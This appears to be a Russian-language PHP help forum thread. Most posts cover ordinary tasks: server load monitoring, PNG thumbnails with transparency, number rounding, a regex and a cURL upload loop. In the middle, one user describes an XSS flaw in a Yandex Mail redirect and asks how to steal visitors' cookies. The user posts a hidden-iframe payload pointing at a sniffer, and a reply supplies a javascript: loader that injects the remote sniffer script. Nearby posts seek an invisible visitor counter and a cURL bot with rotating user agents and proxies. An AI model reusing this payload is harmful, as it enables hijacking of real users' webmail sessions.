Хмм, пытаюсь внедрить одну полезную фичу. Мониторинг нагрузки сервера. Вывожу средствами пыха, но пока вот только что вышло: Нагрузка ЦП: 0.04 0.18 0.21 Использование ОЗУ: 0.09MB RAM сейчас выводит скрипта а нужно высчитать общий процент со всей оперативки. И выглядеть так: Использование ОЗУ: 13% CPU также в процентах, брать [0] - минутное значение, ну а вывод таков: Нагрузка ЦП: 0.04 0.18 0.21 (13%) вот такие пока запросы. В идеале хочу еще полоски цветастые нагрузки прилепить = )
z-kzn-z, если через твой скрипт грузить прозрачную пнг картинку imagecreatefrompng(immage.png); фон черным становится при выводе в окно браузера imagepng($new_img);??
Протестил, все норм, вот код без функции = ) PHP: <?php $img = imagecreatefrompng('image.png'); // ссылка на картинку $width = 200; // ширина превью $w = imagesx($img); $h = imagesy($img); $ratio = 0; if($width && $height) { $w_dest = $width; $h_dest = $height; } else { if($width > 0) $ratio = $w / $width; elseif($height > 0) $ratio = $h / $height; if($ratio > 0) { $w_dest = round($w / $ratio); $h_dest = round($h / $ratio); } } if(!$w_dest || !$h_dest) return false; $new_img = imagecreatetruecolor($w_dest, $h_dest); imagealphablending($new_img, false); imagesavealpha($new_img, true); imagefilledrectangle($new_img, 0, 0, $w_dest, $h_dest, imagecolorallocatealpha($new_img, 255, 255, 255, 127)); imagecopyresampled($new_img, $img, 0, 0, 0, 0, $w_dest, $h_dest, $w, $h); $img = $new_img; header('Content-type: image/png'); // сообщаем браузеру, что это картинка imagepng($new_img); // выводим изображение ?>
помогите кто скрипт авторизации на сайте написать и чтобы еще он копировал информацию с главного фрейма
Ребята помогите еще вот с какой штукой! Нужен НЕ видимый счетчик посетителей на сате, как бы это огранизовать?
Есть такая хсс примерно такого вида PHP: http://mail.yandex.ru/jsredir?to=javascript:alert(document.cookie) при переходе по такой ссылке , вылетает алерт и показываются куки Вопрос какой код повесить на index.php чтоб тырились и записывались куки в файл? снифер есть PHP: <iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="http://mail.yandex.ru/jsredir?to=http://ссылка на снифер/mail.js"></iframe> так , почему-то не пашет
Попробуй, так должно работать Code: javascript:(function(){var s=document.createElement('script'); s.src='http://ссылка на снифер/mail.js'; s.type='text/javascript'; document.getElementsByTagName('head')[0].appendChild(s); })();
Byrger Свести или вывести? Точек после запятой?? С округлением: PHP: $val = 3.1456; echo round($val, 2); printf("<br />%.2f", $val); $newval = sprintf("%.2f", $val); echo "<br />".$newval; Быдлокод без округления: PHP: $val = 3.1456; $val = (string) $val; echo "<br />".substr($val, 0, strpos($val, '.')+3);
<a href="http://pspgig.com/forum/0-0-1-3-16419" target="_blank">форум(<b>695</b>)</a> Как регулярками сграббить 695?
Code: preg_match('/<a href="[^"]+" target="_blank">форум\(<b>([0-9]+)<\/b>\)<\/a>/i', $str, $matches); echo $matches[1]; p.s. со смарта пишу, протестить не могу, вроде правильно все
Подскажите в чём моя ошибка: PHP: while($row = mysql_fetch_array($imgs)){ $time = microtime(); $postdata=array( "choise"=>$ch, "id_ad"=>$edit_url, "q"=>"@".dirname(__FILE__).DIRECTORY_SEPARATOR."images".DIRECTORY_SEPARATOR.$row['value'] ); $str = "http://xxxx.xxx/xxxx.php?sel=js_upload&id_ad=".$edit_url."&upload_type=f&upload_comment=&PHPSESSID=".$ses[1]."&JsHttpRequest=".substr($time,11,10).substr($time,2,4)."-form"; $p = get_page($str,$postdata,0); } Получаю из базы имена файлов, и пытаюсь их все отправить на сервер. Но ничего не выходит. Все переменные существуют. Смотрел var_dump, всё поступает на отправку, но них... не получается... PHP: //var_dump array(3) { ["choise"]=> string(1) "4" ["id_ad"]=> string(3) "331" ["q"]=> string(68) "@Z:\home\sites\www\folder\images\images165466.jpg" } PHP: //Мой курл function get_page($url,$data=null,$header=0,$referer=null,$options=null,$prox=null) { global $proxy,$all_useragents; $process = curl_init($url); $headers = array( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: ru,en-us;q=0.7,en;q=0.3', 'Accept-Encoding: gzip,deflate', 'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7' ); curl_setopt($process, CURLOPT_HEADER,$headers); if(!is_null($data)) { curl_setopt($process, CURLOPT_POST, 1); curl_setopt($process, CURLOPT_POSTFIELDS, $data); } if(!is_null($referer)){ curl_setopt($process, CURLOPT_REFERER, $referer); } if(!is_null($options))curl_setopt_array($process,$options); //curl_setopt ($process, CURLOPT_PROXYTYPE, 4); curl_setopt ($process, CURLOPT_RETURNTRANSFER, 1); // curl_setopt ($process, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($process, CURLOPT_COOKIEFILE, '/cookie.txt'); curl_setopt($process, CURLOPT_COOKIEJAR, '/cookie.txt'); // 25 - if($prox){ curl_setopt($process, CURLOPT_PROXY, $prox); } curl_setopt($process, CURLOPT_USERAGENT, $all_useragents[rand(0,count($all_useragents)-1)]); curl_setopt($process, CURLOPT_TIMEOUT, 30); $result = curl_exec($process); curl_close ($process); return $result; }